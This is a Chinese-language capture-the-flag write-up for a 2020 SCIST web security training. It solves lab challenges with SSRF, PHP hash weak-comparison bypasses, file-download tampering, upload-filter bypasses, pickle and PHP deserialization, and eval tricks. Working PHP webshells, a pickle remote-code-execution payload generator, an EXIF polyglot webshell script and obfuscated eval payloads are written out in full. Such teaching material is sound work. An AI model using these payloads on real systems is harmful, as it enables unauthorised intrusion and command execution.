2020 SCIST Web Week 2
===
[TOC]
## Web
### SSRF NOOB
首先進入網站 只有一個輸入的框框
`give me the url...`
輸入看看這題的網址

看起來貌似是會去 curl 並且把內容顯示出來
來看一下 Source Code

看起來 `flag` 放在 `config.php` 下
試試看直接瀏覽
:::danger
Only allow IP 127.0.0.1!
:::
127.0.0.1 這個 IP 表示為本地端
所以要看 `config.php` 只能從本地去看
經過測試,網頁會使用 `file_get_contents` 去取得你 input 的 url
那麼我們輸入看看 `http://127.0.0.1/config.php`

Flag 就會噴出來了
因為我們是透過 這個網站去請求自身的 `config.php`
想當然 IP 就會是 `127.0.0.1`
:::info
如果題目要求 IP 為 127.0.0.1 盡量就是 127.0.0.1
並不是所有的設定都會將 localhost 導向 127.0.0.1
這會取決於 /etc/hosts 的設定
Windows : **\system32\drivers\etc\hosts**
macOS , Linux : **/etc/hosts**
:::
## Level 1
### HTTP Method
~~這題在沒有題目名字提示下其實有點通靈~~
題目都說了 HTTP Method 所以直接從 Method 下手ㄅ
:::info
OPTIONS 這個 Method 可以查詢這個網站支援什麼 Method
:::
於是我們 curl 一下
```bash=
curl -i -X OPTIONS http://140.110.112.78:30002/
```
<!--  -->

注意到有一個 Method 叫做 `FLAGISHERE`
於是我們用那個 Method 去 curl
<!--  -->

## Level 2
### sha1 collision
進去之後非常佛心 有 Source Code 可以看

我們只需要注意到
```htmlembedded=11
if ($username == 'admin' and sha1($password) == '0e342768415931451224984248454864')
```
`$username` 已知需要 `admin`
接著就是我們輸入的 `$password` 經過 sha1 Hash 過後必須 == 0e 那串
由於 Hash 本身是不可逆的 所以別想著可以用後面那串反推結果
我們只需要注意到他是使用 `== 弱比較` 進行結果比對
> hash 雖然不可逆,但相同的資料經過相同的 hash function 會得到相同的 hash
> 可以透過暴搜的方式嘗試找出符合的明文
在 PHP 的弱比較中 基本上不存在 數值及字串的差異
並且會將 0e , 1e 等視為科學記號 並轉換為數值
所以
- `"1234"` == `1234`
- `"abcd"` == `abcd`
- `1e2` == `100`
- `"0e3"` == `0000` == `"0000"`
觀察一下會發現那串 0e 後面全部都是數字
所以在弱比較中會被當作 0 去比較
那麼我也只需要上傳一個字串或是數值在經過 sha1 之後
開頭為 0e 且後面皆為數字的就好
password : `aaroZmOk` `aaK1STfY` `10932435112`
> 網路上有好心人士將會產生 `0e...` 數字的字串搜集好了
> https://github.com/spaze/hashes
### Md5 collision
同理 [sha1 collision](#sha1-collision)
password : `QNKCDZO` `s155964671a` `240610708`
### Download
這題打開會給你兩個按鈕去下載檔案 先別急著下載
先來看一下 Source

我們會看到那兩個按鈕導向了其他的 url
觀察一下那個 url 會發現後面奇怪的字串看起來像是 Base64 Encode 的結果
拿去 Decode 一下
<!--  -->

會發現這就是我們要下載的檔案名字
於是我們可以猜測他會下載那串 Base64 Decode 過後的檔案
那我們就自己竄改一下可以下載什麼檔案
```bash=
$ echo -n 'download.php' | base64 # -n 取消輸出換行
> ZG93bmxvYWQucGhw
```
接著 curl 我們要下載的網址
`http://140.110.112.78:3005/download.php?url=ZG93bmxvYWQucGhw`
我們就會得到 download.php 的 Source Code
```php=
<?php
error_reporting(0);
include("flag.php"); // 引用 flag.php 裡的變數及函式
$url=base64_decode($_GET[url]);
if( $url=="flag.php" || $url=="download.php" || $url=="sleepingsheep.mp3" || $url=="ourfrenchcafe.mp3"){
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url)); // 將檔案內容輸出
exit;
}
else {
echo "沒有權限!";
}
?>
```
透過 Source 可以猜測 flag 在 `flag.php`
於是透過 `download.php` 讀取 `flag.php`

## Level 3
### New HTTP Method
同理 [HTTP Method](#HTTP-Method)
### sh3ll_upload3r
開門見山直接給你 Source Code
:::spoiler 完整 Source Code
```html=
<h2>Sh3ll Upload3r</h2>
<form method="post" enctype="multipart/form-data">
<input type="file" name="my_file">
<input type="submit" value="Upload">
</form>
<hr>
<br>
You can only upload file with this content:
<pre>
<?php echo htmlentities(file_get_contents("sh"));?>
</pre>
<hr>
<br>
<br>
<br>
<h3>Source Code:</h3>
<?php
$file = $_FILES['my_file']['tmp_name'];
$dest = 'upload/' . $_FILES['my_file']['name'];
$extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION);
$h = sha1(md5(file_get_contents($file)));
if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!');
// check content
if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") {
echo "<h3 style='color:red'>OK, your shell is valid</h3>";
move_uploaded_file($file, $dest);
} else if($file !== NULL) {
die("Oops! You can only upload my shell :)");
}
highlight_file(__FILE__);
?>
```
:::
<br>
來一行一行解析這在幹嘛
```htmlembedded=18
$file = $_FILES['my_file']['tmp_name']
```
將 `$file` 定義為檔案暫存的資料夾位置
```htmlembedded=19
$dest = 'upload/' . $_FILES['my_file']['name'];
```
將 `$dest` 定義為 `upload/檔案名稱` 這個路徑
```htmlembedded=20
$extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION);
```
將 `$extension` 定義為上傳檔案之附檔名
```htmlembedded=21
$h = sha1(md5(file_get_contents($file)));
```
將 `$h` 定義為 `$file` 這個路徑的內容經過 `md5` 和 `sha1` 的結果
```htmlembedded=23
if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!');
```
若是 `h` 出現在 `$extension` 則輸出 `Bad Hacker!` 並終止
> `stripos($s,$c)` 會回傳`$c` 在 `$s` 第一次出現的位置 且不分大小寫
> https://www.php.net/manual/en/function.stripos.php
```php=26
// check content
if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") {
echo "<h3 style='color:red'>OK, your shell is valid</h3>";
move_uploaded_file($file, $dest);
}
```
如果 `$h` 等於後面那串 `hash`
則輸出 `OK` 並把檔案移到 `$dest` 指定的暫存位置
```htmlembedded=10
<?php echo htmlentities(file_get_contents("sh"));?>
```
~~透過通靈~~ 可以知道是 `sh` 這個檔案

可以透過 `wget http://140.110.112.78:4006/sh` 取得完整檔案
> 注意 自己複製文字的話最後要加換行
> 可以透過 `cat 檔案名稱 | md5sum | head -c 32 | sha1sum` 驗證 hash 是否正確
```php=
<?php
system("cat /flag");
```
綜合以上 Code Review 的結果 可推出
1. 只能照 `sh` 的內容上傳
2. 會檢查 `h` 是否出現在附檔名中
3. 檔案上傳後會存在 `http://140.110.112.78:4006/upload/<file_name>`
注意第 2 點
`php` 的 `PATHINFO_EXTENSION` 只會存取最後面的副檔名
並且我們要讓 `sh` 的內容能夠跑起來
```bash=
curl -i http://140.110.112.78:4006
```
會得知 Server 的環境
`Server: Apache/2.2.15 (CentOS)`
`Apache` 會在解析檔案時跳過未在 mime.type 內定義的副檔名
並且往左邊一個副檔名搜尋
於是如果要繞過第 2 點,可以在 `sh.php` 後面接上其他附檔名
如 : `sh.php.kaibro`,可以迴避 `h` 字元的副檔名檢查
並且使 `Apache` 解析檔案名稱後,使用解析 `PHP` 檔案的方式執行 `sh` 的內容得到 `flag`
Upload `sh.php.kaibro`
<!--  -->

> 想瞭解更多關於 `Apache` 的解析漏洞可以參考下方的連結
> https://www.gentoo.org/support/news-items/2015-04-06-apache-addhandler-addtype.html
### ImageUploader
:::spoiler 完整 source code
```htmlembedded=
<html>
<body>
<h2>Image Uploader</h2>
<?php
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="filename" value="upload.jpg" />
Choose a JPEG to upload:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="/?action=source">View sourcecode</a></div>
<?
if($_GET['action'] === 'source'){
highlight_file(__FILE__);
}
}
else{
$file = $_FILES['uploadedfile']['tmp_name'];
if(!isset($_POST['filename'])) echo "Without Correct Parameters";
else if(filesize($file) > 1000) echo "File must be smaller than 1kB";
else{
$ext = pathinfo($_POST["filename"],PATHINFO_EXTENSION);
$target_path = "upload/" . md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) . "." . $ext;
if(move_uploaded_file($file, $target_path)) echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
else echo "Something wrong during the uploading process";
}
}
?>
</body>
</html>
```
:::
這題就不每行解釋 code 在做什麼了
上傳檔案的幾個條件
1. `line 6`: `METHOD` 是 `POST`
2. `line 22`: `POST` 的資料中有 `filename` 欄位
3. `line 23`: 上傳的檔案不能超過 1kB
通過這些條件,檔案會存在 `upload/$md5.$ext`
```php
$md5 = md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file))
```
將你的 ip 和檔案內容經過 `md5` hash 作為檔案名稱
```php
$ext = pathinfo($_POST["filename"],PATHINFO_EXTENSION)
```
使用 `POST` 資料中 `filename` 欄位的副檔名當作上傳檔案的副檔名
綜合以上分析
可以知道將 `filename` 的副檔名改成 `php` 就可以執行 PHP code

<!--  -->
上傳 php shell 後下指令即可找到 flag
php shell 範例:``<?=`$_GET[1]`?>``
<!--  -->

## Level 4
### Kaibro_easy-pickle
:::spoiler `index. php` 完整 Source Code
```htmlembedded=
<?php
$gg = $_POST['data'];
if (isset($gg)) {
preg_match('/^[a-zA-Z0-9=]+$/', $gg, $m);
system("echo $m[0] | python pickle.py");
} else {
echo "WheRe iS yOur gg?<br>";
}
highlight_file(__FILE__);
```
:::
:::spoiler `pickle. py` 完整 Source Code
```python=
#!/usr/bin/python
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
```
:::
<br>
先來看一下這行
```htmlembedded=5
preg_match('/^[a-zA-Z0-9=]+$/', $gg, $m);
```
> `preg_match($pattern, $str, $arr)` ([PHP manual](https://www.php.net/manual/en/function.preg-match.php))
> 會將 `$str` 中符合 `$pattern` 這個 `Regular Expression` 條件的字串區段丟上 `$arr` 這個 array 中
那我們來看一下這段 `Regular Expression`
`/^[a-zA-Z0-9=]+$/`
`^` 為整個字串的開頭
`[a-zA-Z0-9=]` 只要字串在 `a-z` or `A-Z` or `0-9` 的區間或是等於 `=` 都符合條件
`+` 匹配至少1個直到不符合條件
`$` 為整個字串的結束
綜合以上結果可以用 [Regular Debug](https://www.debuggex.com/) 轉換為下圖

> 如果暫時看不懂 `Regular Expression` 沒關係
> 可以先用線上的 Visualizer 繞過學習門檻
> [name=nella17]
其實這段就是只取符合 Base64 Encode 字元的字串而已
接著是執行的部分
```htmlembedded=6
system("echo $m[0] | python pickle.py");
```
將 `$m` 這個 `array` 的第一個值取出來 `pipe` 輸入到 `pickle.py`
> `php` 在 `""` 雙引號的字串會解析 `$` 開頭的變數名稱將其替代
> 還有許多特殊的語法可以使用
> 
接著就是 Python Pickle 序列化的部分
> \_\_reduce__ 在序列化時會被呼叫
> return 形式為 (function, (arg1, arg2, ...))
> 這東西會被放在序列化後字串的 bytes 中
> 當在做反序列化時,物件會以 function(arg1, arg2, ...) 的方式建立
> [name=djosix]
因此攻擊流程為
1. 建立一個 `class`
2. 初始化 並且建立 `__reduce__` 這個 `function` 讓他在序列化時被呼叫
3. 回傳 `(system , (self.name))` 在反序列化時則會變成呼叫 `system(self.name)`
4. Base64 encode 過後上傳
:::spoiler Payload Generate Script
```python=
#!/usr/bin/python2
from pickle import dumps , loads
from os import system
from base64 import b64encode
class cmd(object):
def __init__(self, name):
self.name = name
def __reduce__(self):
return (system, (self.name, ))
command = raw_input()
s = dumps(cmd(command))
print(b64encode(s).decode())
```
:::

### To serialize or Not to serialize //TODO
:::spoiler 完整 Source Code
```htmlembedded=
<?php
class MyFirstCTF {
protected $test = "CTF";
function __wakeup()
{
print "Wake up yo!<br>";
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
highlight_file(__FILE__);
```
:::
[php-unserialize-初识](http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/)
簡單的反序列化,重點在注意變數是`protected`物件,所以變數名的部分需要加上`%00`的一些東西。
```
O:10:"MyFirstCTF":1:{s:7:"%00*%00test";s:3:";ls";}
```
### ImageUploader2
:::spoiler 完整 Source Code
```htmlembedded=
<html>
<body>
<h2>Image Uploader2</h2>
<?php
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
Choose a JPEG to upload:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="/?action=source">View sourcecode</a></div>
<?
if($_GET['action'] === 'source'){
highlight_file(__FILE__);
}
}
else{
$file=$_FILES['uploadedfile']['tmp_name'];
if(filesize($file) > 1000) echo "File must be smaller than 1kB";
else if(!@exif_imagetype($_FILES['uploadedfile']['tmp_name'])) echo "It's IMAGE uploader";
else{
$ext = pathinfo($_FILES['uploadedfile']['name'],PATHINFO_EXTENSION);
if($ext === "php") echo "No more php webshell";
else{
$target_path = "upload/" . md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) . "." . $ext;
if(move_uploaded_file($file, $target_path)) echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
else echo "Something wrong during the uploading process";
}
}
}
?>
</body>
</html>
```
:::
大部分內容都跟 ImageUploader 一樣
只需要注意兩個部分
```htmlembedded=22
else if(!@exif_imagetype($_FILES['uploadedfile']['tmp_name'])) echo "It's IMAGE uploader";
```
`exif_imagetype` 會檢查檔案檔案的 Header 並回傳相對應的數值
詳細資料可以看 [PHP ImageType List](https://www.php.net/manual/en/function.exif-imagetype.php)
```htmlembedded=25
$ext = pathinfo($_FILES['uploadedfile']['name'],PATHINFO_EXTENSION);
if($ext === "php") echo "No more php webshell";
```
檢查如果副檔名為 `php` 則會顯示 `No more webshell`
所以我們只需要生成一個檔案
`File Header` 是在 `ImageType List` 裡的
並且副檔名不為 `php` 但是可執行 PHP Code 的檔案就好
#### Solution 1 by MuMu
這邊以生成 `Header` 為 `JPG` 的 `upload.phtml` 為例子
`touch upload.phtml`
`hexedit upload.html` 輸入 `ffd8 ffe2` `Ctrl-X` 儲存
`vim upload.phtml` 從第二行開始輸入你要的 PHP Code
`file upload.phtml` 確認資料型態為 JPEG

接著就可以開始下 Command 了
`http://140.110.112.78:30007/upload/<md5 str>.phtml/?cmd=<command>`
#### Solution 2 by nella17
```python=
from PIL import Image
import numpy as np
script = b'\n<br><?=`$_GET[1]`?><br>\n'
img = Image.fromarray(np.array([[0]],dtype=np.uint8))
img.save('shell.jpg', exif=script)
import os
os.rename('shell.jpg', 'shell.phtml')
```
使用 `python` 的 `pillow` 和 `numpy` 創建圖片,並在 `exif` 的區塊寫入 php script
使用 `phtml` 副檔名 bypass `php` 副檔名的限制
### Ev41
::: spoiler Source Code
```htmlembedded=
<?php
highlight_file(__FILE__);
if(!isset($_POST['payload'])) die("GIVE ME payload");
$payload = $_POST['payload'];
$b64decoded = base64_decode($payload);
if(strlen($b64decoded) > 0 ) {
$payload = '# ' . $b64decoded;
}
if(strlen($payload) > 50) die("Too Greedy");
echo $payload;
eval($payload);
?>
```
:::
#### Solution 1 by MuMu
這題我們只需要注意
```htmlembedded=16
eval($payload);
```
如果想繞過 `len(b64decode)> 0`
可以看下面的毒瘤解
PHP 的 `eval` 會加字串當作 PHP 的 Code 去執行
所以我們只需要處理 `#` 就好
`#` 在 PHP 為註解 所以要換行迴避
```bash=
echo -e "\nsystem('ls');" | base64
```
:::info
如果不加 -e 則 echo 不會將 \n 解析為換行
:::
只要讓他 `eval()` 上面那個 Command 的結果
在 PHP 中就會長這樣
```htmlembbeded=
#
system('ls');
```
這樣就可以繞過被註解的情況了
#### Solution 2 by nella17
payload :
```php
$_='`{{{'^'?<>/';($$_[π])($$_[§]);
```
> If the strict parameter is set to TRUE then the base64_decode() function will return FALSE if the input contains character from outside the base64 alphabet. Otherwise invalid characters will be silently discarded.
> source: [PHP Function Base64 Decode](https://www.php.net/manual/en/function.base64-decode.php)
由 PHP manual 可知,`base64_decode` 在 `strict`參數(第2個參數)非 `TRUE` 時,會略過非 `base64` 的字母
Base64 alphabet: `A-Za-z0-9+/` padding: `=`
<!-- base64 regex `^(?=(?:\S{4,4})?)[A-Za-z0-9+/]?={0,3}$` -->
由於 `php` 的語言特性
```php
$_='`{{{'^'?<>/';
# $_ == '_GET'
# $$_ == $_GET
($$_[π])($$_[§]);
# $a = $_GET[π] = 'system'
# $b = $_GET[§] = 'pwd'
# ($a)($b) == system('pwd')
```
<!--
``'`{{{'^'?<>/'`` == `'_GET'`
`$_='_GET'`,`$$_` == `$_GET`
`$a='system',$b='ls'`,`$a($b)` == `system('ls')`
-->

---
# 協作者
> [name=nella17]
> [name=MuMu]
###### tags: `Security` `Web`